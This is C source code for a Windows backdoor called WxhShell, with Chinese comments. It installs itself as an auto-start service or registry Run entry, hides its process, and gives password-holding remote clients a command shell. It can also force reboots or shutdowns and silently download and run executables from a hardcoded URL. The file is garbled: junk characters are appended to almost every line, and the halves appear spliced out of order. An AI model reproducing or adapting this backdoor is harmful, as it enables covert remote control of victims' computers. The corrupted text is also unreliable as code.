  // 关机 7fypUQ:y  
  case 'd': { t8RtJ2;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eg*aVb  
    if(Boot(SHUTDOWN)) )8^E{w^D}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y]]X[@  
    else { (enr{1  
    closesocket(wsh); bMc[0  
    ExitThread(0); Z#u{th  
    } 4Mg%}/cC  
    break; $)*qoV  
    } A v>v\ :.>  
  // 获取shell | t:UpP  
  case 's': { uSXnf  
    CmdShell(wsh); RDSC@3%  
    closesocket(wsh); l7T?Yx j  
    ExitThread(0); [@qjy*5p  
    break; $A~aNI  
  } ILDO/>n  
  // 退出 [gUD +  
  case 'x': { rOLZiET  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vW.f`J,\D'  
    CloseIt(wsh); JG^GEJ  
    break; 5GAW3j{  
    } P'B|s /)  
  // 离开 U~BR8]=G  
  case 'q': { wq.'8Y~BE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _}47U7s8  
    closesocket(wsh); jl}9R]Y_2  
    WSACleanup(); J1(SL~e],  
    exit(1); ~c v|,  
    break; Y!]a*==  
        } g \S6>LG!  
  } H5d@TB, `  
  } N>EMVUVS  
='.b/]!_  
  // 提示信息 0 J"g"=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7)D[}UXz  
} b' ^<0c  
  } E2}X[EoBF  
KJ/Gv#Kj  
  return; &jEw(P&_  
} /NB|N*}O)  
KU "+i8"  
// shell模块句柄 Il\{m?Y  
int CmdShell(SOCKET sock) |a])o  
{ O=}  
STARTUPINFO si; p5rq>&"  
ZeroMemory(&si,sizeof(si)); 93Gj#Mk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IIMf\JdM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; < (9 BO&  
PROCESS_INFORMATION ProcessInfo; JO]?u(m01  
char cmdline[]="cmd"; 19R~&E's  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &to~#.qc  
  return 0; b"o\-iUioe  
} I3.JAoB>!  
KgYQxEbIW  
// 自身启动模式 3bGU;2~}  
int StartFromService(void) /AX)n:,  
{ `yl|N L  
typedef struct {TJ "O  
{ d\Up6F  
  DWORD ExitStatus; jK\kASwG  
  DWORD PebBaseAddress; SefF Ci%4  
  DWORD AffinityMask; J s33S)  
  DWORD BasePriority; A+Un(tU2(  
  ULONG UniqueProcessId; BJHWx,v  
  ULONG InheritedFromUniqueProcessId; ,^1 #Uz8  
}   PROCESS_BASIC_INFORMATION; N 49{J~  
KJ&I4CU]^  
PROCNTQSIP NtQueryInformationProcess; 'p!&&.%  
4+>~Ui_#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pIrL7Pb0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q+a&a]*KL^  
!+Cc^{  
  HANDLE             hProcess; TG?>;It&  
  PROCESS_BASIC_INFORMATION pbi; R'F\9eyA  
?^:5`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }|/<!l+;$  
  if(NULL == hInst ) return 0; e GAto  
3`3my=   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qMVuBv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TRgj`FG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lM#/F\  
X pK eN2=p  
  if (!NtQueryInformationProcess) return 0; 3^H-,b0^  
qOD^ P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w=nS*Qy 2  
  if(!hProcess) return 0; YJz06E1 -9  
!6taOT>v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s 64@<oU<"  
&`!H1E^  
  CloseHandle(hProcess); \ D>!&   
RK&RMN8@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LCIe1P2  
if(hProcess==NULL) return 0; USgO`l\}4  
p+nB@fN/  
HMODULE hMod; B;iJ$gt]  
char procName[255]; l:~ >P[  
unsigned long cbNeeded; }# Ji"e  
$WW7,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R%t6sbsNv  
R SWw4}  
  CloseHandle(hProcess); YuO!Y9iEm  
Cvt/ot-J?  
if(strstr(procName,"services")) return 1; // 以服务启动 q2Sc{E>[  
A] 'XC"lS  
  return 0; // 注册表启动 .db:mSrL  
} 2S@Cj{R(  
nYC S %\"  
// 主模块 E_D@ 7a  
int StartWxhshell(LPSTR lpCmdLine) {^:i}4ZRl  
{ ^5!"[RB\  
  SOCKET wsl; `P|V&;}K  
BOOL val=TRUE; 4e[ 0.2?  
  int port=0; (L1O;~$  
  struct sockaddr_in door; /_(l :q^  
=td(}3|D Y  
  if(wscfg.ws_autoins) Install(); BG-nf1K(  
! _ >/ r  
port=atoi(lpCmdLine); QUXr#!rPY|  
XGnC8Be{4  
if(port<=0) port=wscfg.ws_port; M@. 2b.  
hR[_1vuIu  
  WSADATA data; ey>tUmt6?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >"]t4]GVf  
cE,,9M@^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |BbrB[+ v[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Q.C1#W}.  
  door.sin_family = AF_INET; xJ\sm8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CF_2ez1u0y  
  door.sin_port = htons(port); bM W}.v!  
*$t=Lh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?[5_/0L,=  
closesocket(wsl); sU^K5oo  
return 1; `9f7H  
} y>J6)F =  
pug;1UZ  
  if(listen(wsl,2) == INVALID_SOCKET) { ~fpk`&nhe  
closesocket(wsl); aHle s5   
return 1; sPX~>8}|VP  
} ]INt9Pvqm  
  Wxhshell(wsl); RBeQT=B8~  
  WSACleanup(); *ES"^N/88  
Hg(nC*#/Q  
return 0; Io7 =Mc4  
m FC9\   
} @G>&Gu;5  
Oh1a'&  
// 以NT服务方式启动 y8di-d3_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;ejtP #$  
{ j{%'A  
DWORD   status = 0; 2Nx#:Rz  
  DWORD   specificError = 0xfffffff; V\%s)kq  
\xk8+=/A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cn$0^7?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h4>q~&Pd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y-"7R>^I  
  serviceStatus.dwWin32ExitCode     = 0; q+67Wc=  
  serviceStatus.dwServiceSpecificExitCode = 0; `v Ebm Xb  
  serviceStatus.dwCheckPoint       = 0; .uo:fxbd2  
  serviceStatus.dwWaitHint       = 0; 9aKCO4  
_ba.oIc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4':U rJ+  
  if (hServiceStatusHandle==0) return; N2EX`@_2  
Ymcc|u6$"  
status = GetLastError(); .Dyxul  
  if (status!=NO_ERROR) _7-P8"m  
{ H#I%6k*\a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `hl1R3nBM  
    serviceStatus.dwCheckPoint       = 0; Wl>$<D4mO[  
    serviceStatus.dwWaitHint       = 0; 9>L{K   
    serviceStatus.dwWin32ExitCode     = status; 7/c9azmC  
    serviceStatus.dwServiceSpecificExitCode = specificError; \v.YP19  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .t%` "C  
    return; <:0d%YB)  
  } lz0'E'%{P  
E K^["_*A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0\Myhh~DLE  
  serviceStatus.dwCheckPoint       = 0; N07FU\<9  
  serviceStatus.dwWaitHint       = 0; J*f..:m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A|0\ct  
} n0@\x=9  
+ gP 4MP  
// 处理NT服务事件,比如:启动、停止 @1peJJ{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [JX=<a)U  
{ C@FX[:l@-  
switch(fdwControl) @arMg2"o  
{ X$$b:q  
case SERVICE_CONTROL_STOP: ?pp|~A)b  
  serviceStatus.dwWin32ExitCode = 0; v>p~y u+G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %VzCeS9  
  serviceStatus.dwCheckPoint   = 0; JKYkS*.a}  
  serviceStatus.dwWaitHint     = 0; *}NJ  
  { ]`n6H[6O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m"8Gh `Fo  
  } R`emI7|  
  return; f5|Ew&1EP  
case SERVICE_CONTROL_PAUSE: 1ml{oqNj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bp(X\:zAy  
  break; "+ 8Y{T  
case SERVICE_CONTROL_CONTINUE: ?Kf?Z`9 *Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "0A !fRI~  
  break; L+$9 ,<'[  
case SERVICE_CONTROL_INTERROGATE: T! fF1cpF\  
  break; gJI(d6  
}; C XiSin  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >_um-w#C  
} g:>Mooxzi  
U6R~aRJ;  
// 标准应用程序主函数 _,9/g^<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6`hHx=L  
{ o;Ma)/P  
9"mcN3x:\e  
// 获取操作系统版本 LIDYKKDJ^  
OsIsNt=GetOsVer(); hNJubTSE+)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TYh_uox6  
 D^JuL6U  
  // 从命令行安装 G8voqP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3a]Omuu|=  
ZU-vZD>  
  // 下载执行文件 N|L Ey  
if(wscfg.ws_downexe) { mg7Q~SLL{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9-?[%8  
  WinExec(wscfg.ws_filenam,SW_HIDE);  d365{  
} )'gO?cN  
C'jE'B5b  
if(!OsIsNt) { Qh. : N  
// 如果时win9x,隐藏进程并且设置为注册表启动 a6fqtkZ x  
HideProc(); 00)=3@D  
StartWxhshell(lpCmdLine); jZvQMW  
} 8g CQ0w<  
else P~"`Og+  
  if(StartFromService()) A~UDtXN*4  
  // 以服务方式启动 PE-P(T3s[8  
  StartServiceCtrlDispatcher(DispatchTable); jI9Kn41  
else B^u qu  
  // 普通方式启动 Ss~dK-{e7  
  StartWxhshell(lpCmdLine); ?sBbe@OC?  
#4<Rs|K  
return 0; *w;=o}`  
} 89{@2TXR  
nXuoRZ  
Vr=c06a2  
j4G?=oDb  
=========================================== ;^j 2>Azn  
$5)ZaYx<  
HC*V\vz  
5+[`x ']l  
5U^  
406.6jmv  
" E1e#E3Yq}s  
" %)zTH  
#include <stdio.h> BejeFV3  
#include <string.h> 7Ed6o  
#include <windows.h> * -Kf  
#include <winsock2.h> [:!D.@h|  
#include <winsvc.h> hVAP )"5  
#include <urlmon.h> ekj@;6 d]  
J0vCi}L  
#pragma comment (lib, "Ws2_32.lib") s1eGItx[w  
#pragma comment (lib, "urlmon.lib") g :me:M  
5-ju5z?=  
#define MAX_USER   100 // 最大客户端连接数 c_xo6+:l  
#define BUF_SOCK   200 // sock buffer 1$g]&'  
#define KEY_BUFF   255 // 输入 buffer _g(4-\  
&_EjP hZ  
#define REBOOT     0   // 重启 @Gj|X>0  
#define SHUTDOWN   1   // 关机 phA^ kdW  
$m;rOKVU  
#define DEF_PORT   5000 // 监听端口 KF[P /cFI  
MH>CCT  
#define REG_LEN     16   // 注册表键长度 /J"U`/ {4  
#define SVC_LEN     80   // NT服务名长度 [z1[4  
T53|*~u  
// 从dll定义API /Af:{|'$%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G3&l|@5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P'4jz&4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mqg[2VTRP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +h$) l/>:  
^sNj[%I R  
// wxhshell配置信息 \666{.a  
struct WSCFG { j<LDJi>O  
  int ws_port;         // 监听端口 "c6(=FFq  
  char ws_passstr[REG_LEN]; // 口令  OBY  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q( C\X  
  char ws_regname[REG_LEN]; // 注册表键名 prC1<rm  
  char ws_svcname[REG_LEN]; // 服务名 }!-K)j.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *@|EaH/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :Sx!jx>W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )PU?`yLTr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #UcqKq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +([ iCL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CmNd0S4v  
x*A_1_A  
}; Ifm|_  
8tM40/U$  
// default Wxhshell configuration 0!c^pOq6  
struct WSCFG wscfg={DEF_PORT, qe!\ oh  
    "xuhuanlingzhe", S 'jH  
    1, u*ZRU 4 U  
    "Wxhshell", fBptjt_  
    "Wxhshell", TqM(I[J7\  
            "WxhShell Service", R~$W  
    "Wrsky Windows CmdShell Service", =?} t7}#  
    "Please Input Your Password: ", :n:Gr?  
  1, <MlRy%3Z  
  "http://www.wrsky.com/wxhshell.exe", |d* K'+  
  "Wxhshell.exe" '= _}&  
    }; z@nJ-*'U8  
pm-SDp>s  
// 消息定义模块 tkFGGc}w\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wsyG~^>  
char *msg_ws_prompt="\n\r? for help\n\r#>";  6[<*C?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l%?D%'afN  
char *msg_ws_ext="\n\rExit."; /N`l z>^~  
char *msg_ws_end="\n\rQuit."; TS9=A1J#  
char *msg_ws_boot="\n\rReboot..."; i9.~cnk  
char *msg_ws_poff="\n\rShutdown..."; h]rF2 B  
char *msg_ws_down="\n\rSave to "; 6]%79?'A  
yB&+2  
char *msg_ws_err="\n\rErr!"; mr+J#  
char *msg_ws_ok="\n\rOK!"; ydCVG,"  
@iZ"I i&+  
char ExeFile[MAX_PATH]; Cz2OGM*mz?  
int nUser = 0; *uAsKU  
HANDLE handles[MAX_USER]; wL'tGAv  
int OsIsNt; Y!VYD_'P  
O'~c;vBI  
SERVICE_STATUS       serviceStatus; NzmVQ-4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :&#HrD[KT  
y`?{ 2#1H  
// 函数声明 { jnQoxN  
int Install(void); *^XfEO  
int Uninstall(void); "x. |'  
int DownloadFile(char *sURL, SOCKET wsh); LLn,pI2fL{  
int Boot(int flag); fX,L;Se"  
void HideProc(void); 6B)3SC  
int GetOsVer(void); }E5oa\ 1u  
int Wxhshell(SOCKET wsl); 2 0Xqs,  
void TalkWithClient(void *cs); h*_h M1*;  
int CmdShell(SOCKET sock); e Ir|%  
int StartFromService(void); W|K"0ab  
int StartWxhshell(LPSTR lpCmdLine); :/N/u5.]  
&C eG4_Mi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S4j`=<T,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j +j2_\  
*t{$GBP  
// 数据结构和表定义 i,Yq oe`  
SERVICE_TABLE_ENTRY DispatchTable[] = _c=[P@  
{ qRg^Bp'VD#  
{wscfg.ws_svcname, NTServiceMain}, <_HK@E<_HO  
{NULL, NULL} gO*:< B g  
}; v$R+5_@[l  
FhZ^/= As  
// 自我安装 i<N[sO  
int Install(void) _~aFzM  
{ I$K?,   
  char svExeFile[MAX_PATH]; *xEcX6ZHX  
  HKEY key; 93="sS  
  strcpy(svExeFile,ExeFile); &UhI1mi]h  
@J~n$^ke  
// 如果是win9x系统,修改注册表设为自启动 o2 =UUD&  
if(!OsIsNt) { =&QC&CqEi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Qzb<^9]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W+[XNIg5   
  RegCloseKey(key); Ca[H<nyj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >E;-asD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Gl0h'!(  
  RegCloseKey(key); EG<YxNX,  
  return 0; j)K[A%(  
    } E,I*E{nd9  
  } b[Z5:[@\#  
} s)#8>s-  
else { {{b&l!  
MS~c  $  
// 如果是NT以上系统,安装为系统服务 C9-IJj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \{F{yq(  
if (schSCManager!=0) u~#QvA~]  
{ vEJ2d&  
  SC_HANDLE schService = CreateService 9$&+0  
  ( cPh U q ET  
  schSCManager, 9Foo8e  
  wscfg.ws_svcname, )D ^.{70N  
  wscfg.ws_svcdisp, XeD9RMT  
  SERVICE_ALL_ACCESS, ;[*jLi,uc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @1#QbNp#  
  SERVICE_AUTO_START, jseyT#2  
  SERVICE_ERROR_NORMAL, ! 6kLL  
  svExeFile, :DP%>H|  
  NULL, B3V:?#  
  NULL, <qD/ #$   
  NULL, J:  
  NULL, GzJLG=M  
  NULL o9dqHm  
  ); Z^i=51  
  if (schService!=0) R u^v!l`!7  
  { C:qb-10|A  
  CloseServiceHandle(schService); =`f6@4H  
  CloseServiceHandle(schSCManager); jk-hIl&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tETT\y|'  
  strcat(svExeFile,wscfg.ws_svcname); #%CbZw@hJ9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MWv_BXQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s#,~Zb=  
  RegCloseKey(key); [h "*>J{  
  return 0; d52l)8  
    } UGuEZ-r  
  } V[f-Nj Kf  
  CloseServiceHandle(schSCManager); +u%^YBr  
} 7^|oO~x6  
} <3dmY=  
i6R2R8  
return 1; e0O2 >w  
} 2 s,[DC  
Bl5*sfjG  
// 自我卸载 J/3qJst  
int Uninstall(void) & 2MI(9v  
{ csg:# -gE  
  HKEY key; K31G>k@  
FLI\SF<  
if(!OsIsNt) { LG6VeYe|\X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QJc3@  
  RegDeleteValue(key,wscfg.ws_regname); ("{JNA/  
  RegCloseKey(key); <vx/pH)f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rrK&XP&  
  RegDeleteValue(key,wscfg.ws_regname);  laX(?{_  
  RegCloseKey(key); NG-Wn+W@b  
  return 0; fY@Y$S`Fh  
  } yjZ]_.  
} p<1z!`!P  
} _@CY_`a  
else { ;Ee!vqD2  
u.( WW(/N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QFOmnbJg  
if (schSCManager!=0) 5mB%Xh;bg  
{ ]>fAV(ix  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YUo{e=m|  
  if (schService!=0) 7a_pO1MBL  
  { |;2Y|>=  
  if(DeleteService(schService)!=0) { {UpHHH:X#  
  CloseServiceHandle(schService); -<kl d+  
  CloseServiceHandle(schSCManager); 2Y_ `&  
  return 0; @xKLRw  
  } !'>(r K$  
  CloseServiceHandle(schService); 4`lt 4L  
  } V{17iRflf  
  CloseServiceHandle(schSCManager); 8<(qN> R  
} 1PWs">*(  
} Bw-<xwD  
T'9I&h%\  
return 1; yX%T-/XJ  
} .<zW(PW  
KK; 3<kX  
// 从指定url下载文件 '>[l1<d!G  
int DownloadFile(char *sURL, SOCKET wsh) CW*Kd t  
{ ]H8CVue  
  HRESULT hr; UpL1C~&  
char seps[]= "/"; BrYU*aPW;  
char *token; ,4oYKJ$+h  
char *file; x2p}0N  
char myURL[MAX_PATH]; E"!I[  
char myFILE[MAX_PATH]; yM$@*od  
&7* |rshZ  
strcpy(myURL,sURL); )i8Hdtn  
  token=strtok(myURL,seps); ;AV[bjRE\  
  while(token!=NULL) %bo0-lnp  
  { 3`PPTG  
    file=token; $ o rN>M42  
  token=strtok(NULL,seps); ^'EeJN  
  } ,"?h _NbF  
bJc<FL<E  
GetCurrentDirectory(MAX_PATH,myFILE);  L><# I  
strcat(myFILE, "\\"); WP,Ll\K)7  
strcat(myFILE, file); {awv= s  
  send(wsh,myFILE,strlen(myFILE),0); .`Ey'T_  
send(wsh,"...",3,0); ?sQOz[ig;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;,T3C:S?  
  if(hr==S_OK) tpe:]T/xh  
return 0; *,$cW ,LN  
else n_;qB7,,  
return 1; N3?hyR<T  
SN!TE,=I  
} s*`_Ka57]~  
>ZMB}pt`  
// 系统电源模块 4;anoqiG\  
int Boot(int flag) M@$}Og  
{ /DOV/>@5%  
  HANDLE hToken; &u5OL?>  
  TOKEN_PRIVILEGES tkp; hE>ux"_2/  
y<7C!E#b8  
  if(OsIsNt) { Ay7I_" %  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }*.S=M]y$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e~tgd8a2a  
    tkp.PrivilegeCount = 1; %lVc7L2]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lej-,HX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O~t]:p9_  
if(flag==REBOOT) { 4]L5%=atn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N@D]Q&;+(T  
  return 0; 8S2sNpLi-g  
} *`~ woF  
else { dQUZ11  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X0<qG  
  return 0; P:GAJ->;]>  
} *^j'G^n  
  } R`}C/'Ty  
  else { 7_Yxz$m  
if(flag==REBOOT) { X v[5)4N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6&8([J  
  return 0; yuyI)ebC  
} GE;S5 X]X  
else { g)7~vm2/,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kTQ.7mo/\'  
  return 0; USgZ%xk2  
} ^0A}iJL  
} 9Q{-4yF9k  
yV=Ku  
return 1; p=F!)TnJN  
} yo\R[i(  
7!%/vO0m  
// win9x进程隐藏模块 E'3=qTbiD  
void HideProc(void) *v1M^grKd  
{ 2aQR#lcv  
B|%(0j8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,(d\!T/]'  
  if ( hKernel != NULL ) : utY4  
  { ?y1']GAo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AY]dwKw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -$W#bqvz^  
    FreeLibrary(hKernel); Co|3k:I 8  
  } 0=N,y  
>eX&HSoy  
return; GM&< ?K1  
} HgH\2QL3&  
4n55{ ?Z  
// 获取操作系统版本 j\W"P_dpd  
int GetOsVer(void) e/+_tC$@p@  
{ 3khsGD@  
  OSVERSIONINFO winfo; l&rS\TCkp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ITcgp K6k  
  GetVersionEx(&winfo); MBy0Ky  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k'O^HMAn!  
  return 1; VaYL#\;c<  
  else ;bz|)[4/  
  return 0; "Zk# bQ2j  
} :H9\nU1  
s3nt12  
// 客户端句柄模块 MA}~bfB  
int Wxhshell(SOCKET wsl) m |K"I3W$  
{ -Ky<P<@ezm  
  SOCKET wsh; | .w'Z7(s  
  struct sockaddr_in client; _+c' z  
  DWORD myID; gcS ?r :  
x`7Ch3`4}  
  while(nUser<MAX_USER)  |tK_Bn  
{ 9W^sq<tR  
  int nSize=sizeof(client); b&q!uFP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UB%Zq1D|t  
  if(wsh==INVALID_SOCKET) return 1; }XmrfegF  
;/ wl.'GA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X<:B"rPuK  
if(handles[nUser]==0) N, `q1B  
  closesocket(wsh); @zu IR0Gr)  
else TcW-pY<N  
  nUser++; 91I6-7# Xt  
  } Vq8G( <77  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U.XvS''E  
G =`-w  
  return 0; k2bjBAT  
} O|Sbe%[*wW  
KGM9 b  
// 关闭 socket VT>TmfN(I  
void CloseIt(SOCKET wsh) ]~a;tF>Fw  
{ &%@e6..Ex  
closesocket(wsh); rV{:'"=y-  
nUser--; l=|>9,La  
ExitThread(0); }%8 :8_Ke  
} @= E~`  
E[$"~|7|$  
// 客户端请求句柄 @`Fv}RY{  
void TalkWithClient(void *cs) '=s{9lxn^  
{ ^)J2tpr;]=  
%@L[=\ 9  
  SOCKET wsh=(SOCKET)cs; -|z ]Ir  
  char pwd[SVC_LEN]; KU]co4]8^s  
  char cmd[KEY_BUFF]; Za[ ?CA  
char chr[1]; 0o2*X|i(  
int i,j; ;2#9q9(  
J&P{7a  
  while (nUser < MAX_USER) { BE0Ov{'  
t`M4@1S"'  
if(wscfg.ws_passstr) { Cs:?9G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 x=J&d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Z="}Dg|T  
  //ZeroMemory(pwd,KEY_BUFF); <bSG|VqnH  
      i=0; )2z<5 `  
  while(i<SVC_LEN) { &7\=J w7w  
wDQ@$T^vh  
  // 设置超时 #}PQ !gZ  
  fd_set FdRead; Q,ez AE  
  struct timeval TimeOut; %wFz4 :  
  FD_ZERO(&FdRead); 8ln{!,j;  
  FD_SET(wsh,&FdRead); QJ i5 H  
  TimeOut.tv_sec=8; HbI'n,+  
  TimeOut.tv_usec=0; 7`s* {  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <wH"{G3?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <USK6!-G  
"U"phLX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ie<H4G5Vh  
  pwd=chr[0]; T\ *#9a  
  if(chr[0]==0xd || chr[0]==0xa) { A ".v+  
  pwd=0; @d&JtA  
  break; TS_5R>R3  
  } f:9b q}vH  
  i++; `w6*(t:T  
    } (HEi;  
3 as~yF0  
  // 如果是非法用户,关闭 socket opXxtYC@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d/8p?Km  
} )_&P:;N  
ndmsXls  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o5@d1A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z bW!c1s{  
bcR";cE  
while(1) { adcH3rV  
A`B>fI  
  ZeroMemory(cmd,KEY_BUFF); U F&B7r  
0&~ JC>S  
      // 自动支持客户端 telnet标准   6%a9%Is!O  
  j=0; -Qy@-s $  
  while(j<KEY_BUFF) { ]x1;uE?1J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &lCOhP#  
  cmd[j]=chr[0]; a1>Tz  
  if(chr[0]==0xa || chr[0]==0xd) { QO/nUl0E  
  cmd[j]=0; Iq0[Kd0.j  
  break; A'tv[T d8,  
  } I!?)}d  
  j++; q90 ~)n?  
    } G$^u2wz.  
<(!~s><.  
  // 下载文件 \N%L-%^  
  if(strstr(cmd,"http://")) { Ia[4P8Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); en_W4\7^  
  if(DownloadFile(cmd,wsh)) 8I}ATc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c W1`[b  
  else yMz dM&a!*  
